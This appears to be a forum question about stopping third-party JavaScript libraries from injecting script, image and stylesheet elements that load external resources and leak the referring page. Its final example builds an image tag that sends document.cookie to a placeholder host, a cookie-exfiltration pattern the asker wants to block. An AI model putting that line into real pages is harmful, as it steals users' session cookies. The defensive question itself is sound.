I understand that we can create and search javascript plugins, parse the code and make sure it will not inject anything into the page out.
But supposing there is some library to inject elements <script>
, <link>
, <img>
, <video>
, <audio>
, ...
This can cause the following problems:
referer
source page Is it possible to prevent a script from inject with document.createElement
(or innerHTML
or document.write
) elements that access external resources?
Or is it possible resources that come from outside the allowed domains?
For example, prevent requests from external servers:
Prevent Injection of .js Files
var inject = document.createElement("script");
inject.src = "//cdn.exemplo.com/script-injetado.js";
document.head.appendChild(test);
Prevent Injection of Image Files and .css
Images, videos, and other similar resources can catch the referer
of the source page and in case I want to prevent this to prevent them from knowing the source page, since it can be a restricted url:
var inject = document.createElement("img");
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
var inject = document.createElement("link");
inject.rel = "stylesheet";
inject.type = "text/css";
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
var inject = document.createElement("img");
inject.src = "//exemplo.com/imagem.jpg?cookie=" + document.cookie;
document.head.appendChild(inject);